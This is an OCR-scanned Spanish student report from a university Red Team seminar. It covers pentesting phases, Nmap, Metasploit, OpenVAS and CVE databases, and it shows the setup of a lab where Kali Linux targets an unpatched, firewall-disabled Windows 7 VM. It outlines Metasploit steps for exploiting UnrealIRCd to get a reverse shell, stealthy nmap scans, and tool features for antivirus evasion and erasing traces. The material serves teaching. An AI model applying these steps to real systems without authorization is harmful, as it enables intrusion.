direccionamiento IP, Firewall activos, VPN, URLS, configuraciones de los servidores, esquema

de la red y posibles accesos correos electronicos de la corporacion.
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o Reconocimiento activo o Fingerprinting: Recaba datos de un sistema
interactuando directamente con el mismo y en ocasiones deja rastro de que se esta obteniendo
informacion del objetivo; para este tipo de analisis es necesario contar con una autorizacion.

Entre las herramientas que ayudan en esta fase encontramos:

o Nmap o RustScan

o BurpSuite

° OWASP ZAP

° Feroxbuster o ffuf

Fase de Escaneo.

En esta fase los pentester, comienzan a descubrir todos los activos de la empresa
auditada y ya comienzan a recopilar informacion sensible como elementos de la infraestructura,
tipos de sistemas operativos, configuracion de firewalls, antivirus y cualquier tipo de programa
instalados en su entorno; esto lo realizan con ayudas de softwares especializados para encontrar
vulnerabilidades y estos se encargan de dar un reporte donde el sistema se encuentra débil y
podria ser atacado.

Este punto es importante porque la pericia del profesional de seguridad informaética
puede, llevar a un buen estudio de los resultados dando a conocer los falsos positivos o
negativos.

Con el escaneo, los softwares de la empresa pueden reportar:

o Vulnerabilidad por disefio, las cuales se presentan en la arquitectura del software y

permiten realizar acciones indebidas.
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o Versiones desactualizadas, los cuales pueden presentar fallos porque quedan
desatendidas y que se corrigen en versiones recientes del software en cuestion.

o Problemas de autenticacion, las cuales no son adoptadas por la empresa y reflejan
un mal manejo de seguridad.

o Vulnerabilidad de las APIS, problemas en disefios de las mismas, las cuales
pueden conllevar un problema de seguridad, por ejemplo, cuando las variables no son preparadas
0 estan sensibles a inyeccion de codigos y cuando no tiene una autenticacion de consumo.

o Carga de contenido malicioso, que insertan al sistema de informacion archivos

peligrosos sin ningun tipo de politica o control de seguridad.

Entre las herramientas que ayudan en esta fase encontramos:

. Nmap
° Acunetix
. WPScan

Fase de Explotacion.

En esta fase, los expertos en seguridad informatica, comienzan a analizar las amenazas
encontradas en el punto anterior y abordan el tema verificando si son amenazas reales o
explotables, en el caso de ser explotables, evalian que impacto tienen dichas vulnerabilidades
para la seguridad de los activos de la empresa y como, mediante herramientas pueden ser
mitigadas.

Esta actividad debe quedar registrada y bien documentada, con cada movimiento que se

realizo, sea 0 no exitoso.
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Los pentester, se encargan de verificar toda la infraestructura y atacan servicios
principales de la empresa con el fin de exponer las vulnerabilidades y estas actividades las

realizan sobre:

o Windows Active Directory: Realizan penetracion a los directorios activos para
tomar el control de acceso a sistemas, escaladas de privilegios y acceso a la infraestructura de la
empresa auditada

o Servidores web: Explotacion por fallos en sistemas web como son inyeccion de
comandos, inyeccion SQL, Cross-Site Scripting (XSS), fallos en control de acceso (IDOR),
Server-Side Request Forgery y peticiones no autorizadas de solicitudes (SSRF).

o Sistemas de gestion de contenido (CMS): Softwares en plataformas con
vulnerabilidades, que contienen plugin con una alta gama de funcionalidades, los cuales son
usados por las empresas por su facil y gran manejo; entre ellas; WordPress o Drupal.

o Servidores FTP y bases de datos: Servidores que manejan ficheros, los cuales
usan técnicas como fuerza bruta para su penetracion, y buscan determinar contrasefias debilites o
la forma de acceder sin una previa autorizacion.

o Servidores de correo electrénico: Estos servidores muy atacados, para actos
delictivos; unas de las técnicas es el phishing y la suplantacion, haciendo cometer errores a las
personas que abran un link malicioso; por lo cual un pentester, busca si las politicas aplicadas
son fuertes y la robustez de la maquina.

Entre las herramientas que ayudan en esta fase encontramos:

o OpenVas

° Nessus
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o Metasploits.

o SQLMap

Fase Post Explotacion.

Cuando ya se tienen bien documentados y expuestos las explotaciones de las
vulnerabilidades en el sistema, se evalua el sistema comprometido y se estudia si hay otras
oportunidades de mejoras haciendo ataques profundos en esos puntos criticos ya explotados.

En esta fase los pentester buscan crear persistencias en los sistemas creando ataques

conocidos y buscando como mitigar el problema encontrado.

Fase de Reporte y Mitigaciones.

Es la fase donde la empresa recibe la documentacion oficial sobre las vulnerabilidades
encontradas, las recomendaciones del experto en seguridad, para mitigar esos fallos y la
importancia de actuar de manera oportuna.

Es importante que la empresa reciba un informe ejecutivo y otro técnico coherente, bien
detallado; con el fin de que los ejecutivos, presenten en su comité y tomen acciones al respecto y
el técnico, para que los encargados de seguridad, puedan tomar los correctivos y sepan como

hacerlo de manera correcta.
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Herramientas de Ciberseguridad
Herramientas
Metasploit.

Herramienta usada en seguridad informatica de codigo abierto, que ayuda en la
explotacion de vulnerabilidades, en las pruebas de penetracion. Esta herramienta desarrollada por
la firma IDS en el 2003 y propiedad de Rapid7; hecha en cddigo Perl y traducida a Ruby.

Esta herramienta no solo sirve para la explotacion de vulnerabilidades, sino que tiene un
maodulo para la postexplotacion de codigos maliciosos (poayload).

Las funcionalidades destacadas de esta herramienta son:

o Escanear y recopilar informacion: usa herramienta como Nmap, y recopila
datos sobre el objetivo.

. Identificar y explorar vulnerabilidades: En la explotacion, detecta
vulnerabilidades conocidas en los sistemas y analiza el Common Vulnerabilities and Exposures
(CVE)

. Escalada de privilegios: Incluye herramientas QUE PERMITE OBTENER
privilegios en diferentes SO, los cuales pueden ser Windows, Linux, entre otros.

o Instalar backdoors: usa el Payload, para introducir a los sistemas ataques por
puertas traseras y realizar extraccion de informacion.

o Hacer fuzzing: verifica fallas informaticas, que permitan la infiltracion
directamente a la red de la empresa.

o Evasion de antivirus: Incluye herramientas para la sobreescritura de codigo y
esto con el fin de no ser detectados por los sistemas implementados en defensa de la

infraestructura.
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. Eliminacion de rastros: Tiene métodos, para borran cualquier rastro de actividad

de un ataque como son Huellas digitales, log y archivos maliciosos usados.

Algunos comandos para trabajar con NMAP.

o Una vez teniendo el reporte realizada con NMAP y teniendo un puerto vulnerable,
podemos explorar dicha vulnerabilidad con esta herramienta. Tenemos un ejemplo, donde el
escaneo nos mostrd un puerto vulnerable 5000 Unreal IRCD.

o Iniciamos metaespoits, usando las claves de inicio y este nos deja dentro del
programa msf6>

o Usamos el comando search UnrealIRCD, para que este busque en su base de
datos y nos muestre los resultados del exploid que podemos usar para la explotacion y este nos
indica su fiabilidad, fecha y descripcion; pero una parte importante es el nimero #, porque con
este, es que vamos a realizar la explotacion.

o Teniendo listo el registro a ejecutar, entonces en Kali Linux, en la herramienta
metasploit, ejecutamos el comando use 0 o el # que deseamos ejecutar.

o Ya dentro del exploid, miramos las opciones usando show options.

o Luego listamos los payloads, que es el codigo o algoritmo que se introduce a la
magquina victima para realizar el ataque usando el comando show paytload, importante para esta
ejecucion detectar el nimero # de registro a usar.

o Luego teniendo el # identificado de payloads procedemos a ejecutar usando el
comando set payload 4 o el nUmero a correr.

o Luego miramos las opciones con el comando show options y esto nos muestra los

nombres de los exploits configurados y listos para ser lanzados.
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o Para el caso ya podemos hacer los respectivos ataques, primero lanzandolo y
luego recibiendo una setf reversa a la IP de la maquina atacante y una vez configurada solo es
usar el comando run y tendremos los resultados.

o Con esto, ya podemos tener acceso a la maquina victima y podemos navegar sobre

ella sin problemas.

NMAP.

llamada “Network Mapper”, Herramienta de codigo abierto desarrollada por Gordon
Lyon, usada para explotacién de vulnerabilidades que ayuda a auditar y escanear redes, para que
el experto en seguridad informatica comprenda la red que estéa interviniendo.

Esta herramienta ayuda a la recoleccion o a realizar un inventario de direcciones IP, el
estado de los puertos de la maquina objetivo, informacion de sistemas operativos y los servicios
que estos exponen en la red, realiza recomendaciones, para configuracién de firewall, e identifica
la disponibilidad del enrutador, programa actualizaciones de servicios, enumera servicios como
abiertos, cerrados, filtrados y sin filtrar. entre otras funciones.

NMAP, puede realizar varios tipos de escaneos como son:

o FIN: Este escaneo permite determinar si el servidor, esta después de una barrera de
seguridad como Firewall.

o Ping-Arp: este escaneo es muy util, porque determina si este, se encuentra activo o
no en la red y permite conseguir datos especificos de dicho elemento.

o TCP Connect: Permite verificar estados de puertos de equipos de la red y las

conexiones completas al mismo.
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o Sondeo de lista: Perite listar, todos los equipos que hacen parte sin enviar paquetes
que permitan conseguir este objetivo, ya que lleva a cabo resolucion inversa de DNS.

Algunos comandos para trabajar con NMAP.

o El comando maés bésico es #nmap -h; el cual muestra la ayuda de la herramienta y
las combinaciones empleadas dependiendo lo que se necesita encontrar.

o Cuando ya conocemos el segmento de la red donde estamos, usando la instruccién
de Kali Linux #ifconfig, “para mi caso la maquina nos arroja la IP 192.168.0.8”, con eso
tenemos los tres primeros octetos de la red, que son 192.168.0, entonces podemos hacer un
escaneo de nuestra red usando la instruccion #nmap 192.168.0.0/24 y este nos muestra un
reporte de lo encontrado, que serian maquinas de nuestra red.

o Para el caso que ya tenemos alguna maquina objetivo; entonces comenzamos a
realizar combinaciones con NMAP, para encontrar informacion relevante.

o Para escanear una maquina podemos usar #nmap 192.168.0.5 siendo esta la
méaquina de Windows 7 instalada en el laboratorio Ova.

o Para sabes conocer los puertos de dicha maquina podemos usar el comando
#nmap -p- 192.168.0.5 = este escanea todos los puertos.

#nmap -p80 192.168.0.5, muestra resultado del puerto 80

#nmap -p80,443 192.168.0.5, muestra resultado del puerto 80 y 443

#nmap -p 80-1000 192.168.0.5, muestra resultado entre el puerto 80 y el 1000

#nmap -p 80-1000 192.168.0.5 —stats-every=5s, muestra resultado entre el puerto 80 y el
1000 y entrega resultado cada 5 segundos

#nmap -p — O 192.168.0.5, muestra resultado de puertos y el sistema que corre sobre los

mismos.
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#nmap -p -oN rutaarchivo.log 80-1000 192.168.0.5, muestra resultado de escaneo en 'y
deja la informacidn en archivo XML dentro de la maquina, si usamos -0A, muestra en todos los
formatos posibles (4).

#nmap -T2 -n 80-1000 192.168.0.5, realiza escaneo a bajo perfil, mas lento, menos
detectable y la configuracion -n, quita el escaneo por DNS; la velocidad de escaneo TO — T5,
donde TO es bajo y lento, pero con menos ruido “menos detectable” y TS mas rapido “mas rapido
y detectable”.

Asi hay una cantidad mas de combinaciones muy importantes en el uso de la herramienta

como —open sV -v -f -Pn y cada una muestra un resultado adicional en el reporte.

OpenVas.

Herramienta para escaneo de vulnerabilidades desarrollada por Greenbone Networks
desde 2009, se encarga de detectar problemas de bajo y alto riesgos, el cual tiene mas de 50.000
mil test y es retroalimenta por las empresas y expertos en el tema; ademas tiene un interfaz
gréafico sencilla y entendible para el usuario.

Esta herramienta tiene funciones como son: pruebas autenticadas y no autenticadas, tiene
protocolos industriales de alto y bajo nivel y se puede ajustar dependiendo la exploracion que
pueden ser de baja o alta escala.

Sus caracteristicas son:

o Documentacion extensa, bien argumentada y definida.

o Tiene la versatilidad de trabajo desde lineas de comando y entorno grafico y

contempla muchos datos de interés, que pueden generar informes muy detallados.
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o Tiene un soporte, comunidades que apoyan mucho en los temas relacionados a
explotacion de vulnerabilidades y tutoriales.

Algunos comandos para trabajar con NMAP

o Ya instalada la herramienta dentro del Kali Linux, debemos usar los siguientes
comandos para comenzar con el escaneo:

o Openvas-start, que nos permite arrancar la herramienta y esta nos lleva a una
pagina web donde llamada GreenBone.

. Estando dentro de la plataforma web, podemos comenzar a realizar el escaner que
necesitamos y programar nuevas tareas para cada uno.

. Cuando el sistema detecta la vulnerabilidad, muestra informacion de la misma, si
es alta o no, dependiendo la criticidad, el impacto que tiene dentro del sistema y posibles
soluciones, para mitigar el problema.

Servicios en Linea
ExploitDB.

Proyecto sin animo de lucro desarrollado por la compafiia Offensive Security; Son
aplicaciones usadas por pentester, para mejorar las auditorias a realizar; los exploitDB se realizan
sobre bases de datos publicas y se mantienen los registros de vulnerabilidades explotadas y
conocidas, para futuras pruebas.

Esta base de datos es alimentada desde varias fuentes como son: vulnerabilidades

divulgadas, investigaciones y presentaciones realizadas por el equipo de seguridad.
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CVE.

También conocidas como “Vulnerabilidades y exposiciones comunes”, mantenida por
MITRE Corporation; que son un conjunto o lista de vulnerabilidades que estan debidamente
referenciadas y constituyen riesgos publicamente conocidos.

Los CVE, definen las vulnerabilidades como errores de software que permiten a un
atacante obtener acceso no autorizado a un sistema de informacion y de esta manera se puedan
propagar malwares.

En este tipo de ataque, se obtiene una delegacion privilegios y el atacante puede obtener
informacidn sensible y de vital importancia para la empresa.

Muchas veces, los cddigos realizados para una operacion automaticas, no estan
debidamente asegurados o tienen huecos de seguridad, que pueden permitir una penetracion al
sistema de informacion de una empresa y a esto se le conoce como exposicion segun CEV.

La principal funcion de CVE es brindar un catalogo gratuito de software y firmware, con
el fin de que las empresas mejoren sus defensas contra ataques informaticos; que los productos
ofrecidos sean fiables y capaz de resguardar a la empresa de Inter operadores, detecta si ya hay
implementado productos compatibles que realicen trabajo se proteccion y brinda informacion a
proveedores de las actualizaciones de los sistemas para evitar problemas de vulnerabilidad.

Beneficios de usar CVE:

o Proporcionar interoperabilidad entre productos y servicio.

o La organizacion suministra estandares en pro al beneficio de sus clientes.

o Los hace competentes en el mercado.

o Por su seguridad los hace mas apetecidos en el mercado, retornando dividendos

altos; toda vez que mantienen una garantia y un sello de proteccién establecidas por CEV.
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. Permite a sus clientes, la actualizacion de sus productos adquiridos.

Las bases de datos principales de vulnerabilidades CEV son:

o Base de datos nacional de vulnerabilidades (NVD): Permite un marco mas
amplio de vulnerabilidades, mas grande que la lista MITRE, el cual proporciona un ID y una
breve resefa.

o Plataforma de evaluacion de vulnerabilidades (vulnerabilidades): Es una
actualizacion de vulnerabilidades de seguridad, cada item tiene su ID, la definicion, que tan
grave es, proporcionan un escaner de NMAP, extension de escéner para los navegadores y
herramientas que permiten la bisqueda avanzada de vulnerabilidades mediante la IA.

o Base de datos de vulnerabilidades (VulDB): Base amplia de fallas reportadas,
permite la administracion de vulnerabilidades y la forma como afrontar amenazas y respuestas a

incidentes reportados.



Laboratorio o banco de trabajo
Descargar Herramienta Virtualizadora VirtualBox (A)
Realizamos la descarga del sitio oficial de virtualbox, para el sistema operativo que

tenemos instalado, usando el siguiente link: https://www.virtualbox.org/wiki/Downloads

Figura 1. Pagina de descarga de Kali Linux

¢ G % virtualbox.org/wiki/Downloads T [ < ]
< (667) LineaDatascan..  #% monday.com: Wher.. 8 Coro, Bendito Jehov.. 8 Reducir el tamafio d.. @8 Musica para trabaja.. Scratch - Imagine, P.. [l Leonisaventa porc.. % Tecndlogo en Andlis..
“,g V] rtua]Box Home Download Documentation Community @

Download VirtualBox

The VirtualBox Extension Pack is available for personal and educational use on this page under the PUEL license. The VirtualBox Extension Pack is also
available under commercial or enterprise terms. By downloading, you agree to the terms and conditions of the respective license.

V ATIIIINIIN

VirtualBox Platform Packages VirtualBox Extension Pack
VirtualBox 7.1.2 platform packages VirtualBox 7.1.2 Extension Pack
> .
B8 windows hosts This VirtualBox Extension Pack Personal Use and Educational License
W governs your access to and use of the VirtualBox Extension Pack. It does
i hosts not apply to the VirtualBox base package and/or its source code, which
macos / Apple Silicon hosts are licensed under version 3 of the GNU General Public License “GPL").
D Linux distributions See our FAQ for answers to common questions.
Solaris hosts . . B -
nv Dark lica and licanca
Solaris 11 IPS hosts
PUEL License FAQ [l PUEL License Text Accept and download
k Platform packages are released under the terms of the GPL version 3

Fuente propia.

Figura 2. Version de virtualBox

¥ VirtualBox - Acerca de ? >

VirtualBox

7.0

Interfaz Grafica de Usuario de VirtualBox
Versién 7.0.20 r 163906 (Qt5.15.2)
Copyright © 2024 Orade and/or its affiliates.

Cerrar

Fuente propia.


https://www.virtualbox.org/wiki/Downloads
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Descargar de Componentes para Laboratorio OVA (B)
Nos dirigimos al entorno de aprendizaje, foro y descargamos los archivos compartidos

por el tutor en la ruta: https://unadvirtualedu-

my.sharepoint.com/personal/luis zambrano unad edu co/ layouts/15/onedrive.aspx?id=

%2Fpersonal%2Fluis%5Fzambrano%5Funad%5Fedu%5Fco%2FDocuments%2FL abor

atorios%20Controlados%2FSeminario%20Especializado%2FRed Team%26BuleTeam202

4&ga=1
Figura 3. Pagina de la universidad, para descarga de componentes del laboratorio.
] Ur\ s () Office365  OneDrive L Search & @ 9 GEOVALDYSDEJE.

@ Share 7@ Sync G Copy link Add shortcut to OneDrive 4, Download  E8 Export to Excel Fsot~ =~ Details

Luis Fe do Zambi H Ll . S (R
e > Laboratorios Controlados > Seminario Especializado > RedTeam&BuleTeam2024 2

£ Luis Fernando Zambrano Hern...

ﬁ‘g Our files 2 Name Modified ~ Modified By File size ~ Sharing ~ Activity
mwn  Refjeto_123456zip 4 September 3 Luis Fernando Zam 14,6 MB &3 Shared
D Win7-SE2020-X6d.ova 3 September 3 Luis Fernande Zam  3.51 GB 85 Shared

Fuente propia.

Figura 4. Archivos descargados al equipo local.

|:] kali-linux-2018.4-amd64d.iso 25/11/2018 12:08 p. m. Archivo de image...  3.065.856 KB
E Rejjeto_123436.zip 11/10/2024 7:29 p. m. Archive WinRAR Z.., 15.001 KB
W Win7-SE2020-X64.0va 11/10/2024 9:49 p. m. Open Virtualizatio...  3.683.633 KB

Fuente propia.
Preparacion del Ambiente para Laboratorio OVA (C)

Una vez tengamos los componentes, comenzamos a realizar las instalaciones de las
maquias en nuestro virtualizador; en este apartado instalaremos una maquina de Kali Linux y una
con Windows 7 Pro.

Para este ejercicio ya tengo la maquina Kali Linux montada con anterioridad


https://unadvirtualedu-my.sharepoint.com/personal/luis_zambrano_unad_edu_co/_layouts/15/onedrive.aspx?id=%2Fpersonal%2Fluis%5Fzambrano%5Funad%5Fedu%5Fco%2FDocuments%2FLaboratorios%20Controlados%2FSeminario%20Especializado%2FRedTeam%26BuleTeam2024&ga=1
https://unadvirtualedu-my.sharepoint.com/personal/luis_zambrano_unad_edu_co/_layouts/15/onedrive.aspx?id=%2Fpersonal%2Fluis%5Fzambrano%5Funad%5Fedu%5Fco%2FDocuments%2FLaboratorios%20Controlados%2FSeminario%20Especializado%2FRedTeam%26BuleTeam2024&ga=1
https://unadvirtualedu-my.sharepoint.com/personal/luis_zambrano_unad_edu_co/_layouts/15/onedrive.aspx?id=%2Fpersonal%2Fluis%5Fzambrano%5Funad%5Fedu%5Fco%2FDocuments%2FLaboratorios%20Controlados%2FSeminario%20Especializado%2FRedTeam%26BuleTeam2024&ga=1
https://unadvirtualedu-my.sharepoint.com/personal/luis_zambrano_unad_edu_co/_layouts/15/onedrive.aspx?id=%2Fpersonal%2Fluis%5Fzambrano%5Funad%5Fedu%5Fco%2FDocuments%2FLaboratorios%20Controlados%2FSeminario%20Especializado%2FRedTeam%26BuleTeam2024&ga=1
https://unadvirtualedu-my.sharepoint.com/personal/luis_zambrano_unad_edu_co/_layouts/15/onedrive.aspx?id=%2Fpersonal%2Fluis%5Fzambrano%5Funad%5Fedu%5Fco%2FDocuments%2FLaboratorios%20Controlados%2FSeminario%20Especializado%2FRedTeam%26BuleTeam2024&ga=1

Figura 5. Maquina virtual de Kali Linux
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Fuente propia.

Ahora procedo a montar la maquina obtenida en OVA, Windows 7; para lo cual se
necesitan hacer las siguientes configuraciones.

Estando en Kali Linux importamos la OVA, por lo cual es necesario seleccionar la ruta
donde esta el recurso.

Figura 6. Espacio de instalacién de maquina Windows 7.

- S— @b @ .
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Servicio a importar
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Fuente: | Sistema de archivos local ~

Seleccione un archive desde el que importar &l servido virtualizado. VirtualBox actuaimente soporta impartar
servicios guardades en Open Virtualization Format (OVF). Para continuar, seleccione el archive a importar

Archive: [| | @

Moda experto Anterior Siguients cancelar

[“Adaptader 11 Intel PRO/1000 MT Desktop (Adaptader puente, sQualcomm Atheros QCAS377 Wireless
Network Adapter=)
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Controlador U OHCI, EHCI
Bilrers rie cloraliung: £ aeti)

Fuente propia.
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Figura 7. Seleccion de maquina OVA, Windows 7.
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Fuente propia.
Luego, configuraremos los recursos de esa maquina

Figura 8. Configuracion de recursos en virtual box de la maquina Windows 7.

IR I |

Preferencias de servicio

Estas son las maquinas virtuzles contenidas en el servido y las preferendas sugeridas de las maquinas virtuzles
importadas de VirtualBox. Puede cambiar varias de las propiedades mostradas hacendo doble ciic en los
elemenos y deshabiltar otras usando las casilas de verificaién de zbajo.

Sistema virtual 1 a
&% Nombre Win7-SE2020-X64
B8 Tipo de S0 invitado BBl windows 7 (54-bit)
S ou 1 [
2 rav 4096 MB
@ ow
(5 controlador USE
({0 Tarjeta de sonido Audio Intel HD - B
Carpeta base de maquina: | | Di\Maquinas virtuales -
Bolitica de direccién MAC: | Incluir solo la direccién MAC del adaptador de red NAT ~
Opciones adicionales: 7] Importar discos como VDI I
Servicio virtualizado no firmado
Ayuda Anterior Cancelar

T
Adaptador 1: Intel PROJ1000 MT Desktop {(Adaptador puents, «Qualcomm Atheros QCAS377 Wireless

Network Adapter»)
(5 uss

Controlador USB: OHCI, EHCI
Clom rim simamrilinns 8 1 kit

Fuente propia.
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Comienza importacion de archivo.

Figura 9. Importacion de archivos a la maquina virtual.

% Oracle VM VirtualBox Administrador - m}

X

Archivo  Maquina Ayuda

i L L < 5@

o
Nueva Afiadir  Configuraddn Descartar Inidar
Importando servicio virtualizado... £
RS kaLLINUX g_ 1= General =h I _—
] @) Apagada —  Nombre: KALILINUX
Sistema operativo: Debian (54bit)
[®] Sistema
Memoria base: 20498MB
Orden de arranque:  Disquete, Optica, Disco duro | ]
Aceleracién: Paginacién anidada,
Paravirtualizacion KvM
M) Pantalla
Memoria de video: 16 ME
Controlador grafico: VMSVGA
Servidor de esaritorio remoto:  Inhabilitado
Grabacién: Inhabilitade

Almacenamiento

Controlador: IDE
Dispositivo IDE secundario 0:  [Unidad dptica] Vacio
Controlador: SATA

Puerto SATA 0: KALILINUX.wdi (Normal, 20} = =

{p Audio

Controlador de anfitrién: ~ Predeterminado

Controlador: ICH ACS7

=Y Red

Adaptador 1:  Intel PRO/1000 MT Desktop (Adaptador pug = oo o e e
Network Adapter)

(> usB

Controlader USE: OHCI, EHCI

Filtros de disnositis =00 activn)

Fuente propia.
Una vez terminada la exportacion de archivos, ya queda instalada Windows 7
funcionando en nuestra maquina virtual.

Figura 10. Windows 7 en maquina virtual

Win7-SE2020-X64 [Corriendo] - Oracle VM VirtualBox = [m] 5C

Archivo  Maquina  Ver Entrada  Dispositivos  Ayuda

Papeleraide
recies o

PR Do ) S (T A AR AR G i menerua

Fuente propia.



Apagamos la maquina y configuramos las opciones de red, y seleccionamos adaptador
puente, para obtener internet.

Figura 11. Configuracién de adaptador de red para Windows 7.

&) Win7-SE2020-X64 - Configuracion — O *

E General Red

Sistema Adaptador 1 Adaptador 2 Adaptador 3 Adaptador 4

IE Pantalla Habilitar adaptador de red
. Conectado a: | Adaptador puente -
Almacenamiento

Mombre: | Qualcomm Atheros QCAS377 Wireless Network Adapter W
(Dj Audio
B Avanzado

ﬂ Red
@ Puertos serie
& UsB

lj Carpetas compartidas

If‘ Interfaz de usuario

Cancelar Ayuda
S e

Fuente propia.

Comprobamos que tengamos red dentro de la maquina OVA W7, abriendo la terminal
CMD vy pulsando el comando ipconfig y el sistema nos deberia informa que se le asigno una
direccion IP, que para este caso es: 192.168.0.5

Figura 12. Consulta de IP asignada en sistema Windows 7.

8 Win7-SE2020-X64 [Corriendo] - Oracle VM VirtualBox — [m] > g

Archivo Maquina Ver Entrada  Dispositivos  Ayuda

L e ug 0738am. [
e s
& @ =i 8] @ crLDbERECHA

Fuente propia.
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Luego desactivamos el firewall del Windows 7 de la maquina OV A, para evitar

problemas de comunicacion.

Figura 13. Configuracion del firewall de Windows.

ﬁ Win7-SE2020-X64 [Corriendo] - Oracle VM VirtualBox - [m] X

Archivo Maquina Ver Entrads Dispositvos  Ayuda

=

6{)-|0« Firewall de Windows » Personalizar configuracion [ #3| [ Buscar en el Panel de contral o

Personalizar la configuracion de cada tipo de red
Puede modificar I configuracion del firewall para cada tipo de ubicacién de red que use,
;Qué son las ubicacienes de red?
Configuracién de ubicacion de red doméstica o del trabajo (privada)
@ © Activar Firewall de Windows
Bloquear todas las canexiones entrantes, incluidas las de la lista de programas permitidos
Notificarme cuando Firewall de Windows bloguee un nuevo programa
@ @ Desactivar Firewall de Windews (no recomendado)
Configuracién de ubicacién de red publica
@ (©) Activar Firewall de Windows
Bloquear todas las canexiones entrantes, incluidas las de la lista de programas permitidos

Notificarme cuande Firewall de Windows bloguee un nuevo programa

@ @ Desactivar Firewall de Windews (no recomendadc)

re——— (cancean)

o ‘a.m.’i
ﬁf‘ S = STrEE
U@ 5B 3] @ @) TR DeRectia

Fuente propia.
Procedemos a abrir la maquina con el sistema operativo kali Linux

Figura 14. Pantalla principal de sistema operativo Kali Linux

i KALILINUX [Corriendo] - Oracle VM VirtualBox

Archivo Méquina Ver Entrada Dispositivos  Ayuda

B b&o Eigl®E cr oerecra

Fuente propia.



Estando dentro del sistema Kali, abrimos una terminal y escribimos el comando #

ifconfig y el sistema nos indica que IP le fue asignada, que para este caso seria: 192.168.0.8

Figura 15. Consulta de IP asignada en sistema de Kali Linux

@ KALILINUX [Corriendo] - Oracle VM VirtualBox — [m] >

Archivo Maquina Ver Entrada Dispositivos  Ayuda

Aplicacion... ~ Lugares ¥ [ Terminal ¥ sab, 12 de oct, 07:44

root@kali: ~

Archivo Editar Ver Buscar Terminal Ayuda
# s ifconfig

ethe: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500

inet 192.168.0.8 netmask 255.255.255.0 broadcast 192.168.0.255

inet6 2800:484:9b74:36T0:a00:27ff:feff:9948 prefixlen 64 scopeid ©x0<g
lobal>

inet6 fe80::a00:27ff:feff:9948 prefixlen 64 scopeid Ox20<link>

inet6 2800:484:9b74:36T0:c93e:67d:df78:baeb prefixlen 64 scopeid @x0<g
lobal>

ether 08:00:27:ff:99:48 txqueuelen 1000 (Ethernet)

RX packets 755 bytes 543799 (531.0 KiB)

RX errors © dropped © overruns © frame ©

TX packets 321 bytes 31421 (30.6 KiB)

TX errors © dropped © overruns © carrier © collisions ©

lo: flags=73<UP, LOOPBACK, RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 20 bytes 1116 (1.0 KiB)
RX errors © dropped © overruns © frame ©
TX packets 20 bytes 1116 (1.0 KiB)
TX errors © dropped © overruns © carrier © collisions ©

—~#

Bom&o @ 5[ S [E) cTrL DERECHA

Fuente propia.
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Ahora procedemos a verificar la conexién de nuestras maquinas, haciendo ping en ambas

direcciones.

Primero lo hacemos desde Kali Linux a Windows 7, usando el comando
#ping 192.168.0.5.

Figura 16. Ping de Kali Linux a Windows 7

B8 KALILINUX [Corriendo] - Oracle VM VirtualBox -~ (=] 3

Archivo  Maquina  Ver  Entrada  Dis Ayuda

sab, 12 de oct, 07:50

root@kali: ~

Archivo Editar Ver Buscar Terminal  Ayuda

mtu 65536
.0.0.0
copeid ©x10<host>
(Local Loopback)
1116 (1.0 KiB)
1 © over s © frame ©
s 1116 (1.0 KiB)
dropped © overruns © carrier © collisions ©

.168.0.5
PING z 168.0.5) 56(84) byte
64 icmp_seq=
64 25 « icmp
64 b fro 92. .. icmp
64 - .168.0 icmp
64 0 : icmp
64 s from [} icmp
from 6 icmp
from icmp
from 2 . icmp
from 2 z icmp
from . . icmp
from 192. .0. icmp

EEE T

Fuente propia.
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Ahora realizamos ping desde la maquina de Windows 7 hasta Kali linux, usando el
comando ping 192.168.0.8

Figura 17. Ping de Windows 7 a Kali Linux.

i Win7-5E2020-X64 [Corriendo] - Oracle VM VirtualBox - o X

Archivo  Maquina Ver Entrada  Dispositivos  Ayuda

s de ping par:
enviados

Minimo = @ns,

IC:\Use

Fuente propia.
Con esto damos por concluido que nuestras maquinas se comunican entre si y quedan

dispuestas para cualquier laboratorio.
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Caracteristicas Técnicas del Hardware del Banco de trabajo (D)
Esta son las caracteristicas del banco de trabajo para este laboratorio, las cuales son
retroalimentadas a la empresa CyberFort Technologies.

Figura 18. Sistema de la maquina Windows 7.

[=le e

<% |[ Buscaren i panetce conro s

@\J"'E » Panel de control » To

Ventena principal del Panel de
ontrol

Ed

Evaluacion: {3 evaliacién del sistema no esta disponibid
Intel(R) Core(TM) 5-6200U CPU @ 2.30GHz 240 GHz
ada (RAM): 3,91 GB

Tipo Sistems operativo de 64 bits
Lapi La entrada tactil o manuscrita no estd disponible para esta pantalla
Configu ombre, dominio y grupo de trabajo del equips

PC202006
PC202006

& Cambior
configuracién

Windows Update

Informacién y herramientas de
rendimiento

e . T e H] S pE

Fuente propia.
Realizada la instalacion de los medios dispuestos del banco de trabajo, presentado por la

empresa CyberFort Technologies, se presenta las caracteristicas del sistema a evaluar.

Software.

o Windows 7 Profesional Service Pack 1

o No tiene sistema de proteccion instalado, antivirus

o El Firewall esta inactivo.

o Windows esta sin licencia y actualmente desatendido
Hardware.

° Memoria RAM instalada: 4 GB

o Procesador: Intel Core i5- 6200



disponible

Disco duro de 50 GB en total, con un uso de 11,7 GB y 38.1 GB espacio

Adaptador de Red, con conexion de puente

56
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Informe de Herramientas Procedimientos Utilizados Para Dar Solucion al Escenario de
Red Team de Acuerdo a los Pasos del Pentesting.

Para el desarrollo del laboratorio anexo 4 — escenario 3 enfocado a Redteam, fue
necesario tener instaladas los siguientes elementos y herramientas.

o Maquina virtual con Windows 7 OVA — Maquina Objetivo

J Maquina virtual con Kali Linux — Maquina Atacante

. Herramienta NMAP, la cual nos permite para analisas a red, encontrar puestos
abiertos en la maquina objetivo y los servicios que en ellos corren, sistema operativo que tiene
instalado y otros detalles; esta herramienta es usada en la fase de escaneo del pentesting.

o Herramienta Metasploit: Herramienta que nos permite buscar las
vulnerabilidades asociadas a un servicio expuesto e inyectar un payload, con el fin de obtener
acceso a la maquina victima ya sea por Reverse Shell, control visual TCP, Meterpreter, entre
otras. Esta herramienta es usaba en la fase de explotacion.

Ahora comenzaremos a explicar el laboratorio segun la problematica planteada en el
anexo 4 — escenario 3.

primero abrimos la maquina kali linux y usamos una terminal.

Figura 19. Terminal de Kali Linux.

Fuente propia



Ahora nos pasamos a modo administrador usando el comando $sudo su y este nos
solicitara las claves del usuario creados de manejo, que para mi caso es Geovaldys

Figura 20. Terminal de Kali Linux, como administrador.

=3 root@kali: fhome/geovaldys
File Actions Edit View Help

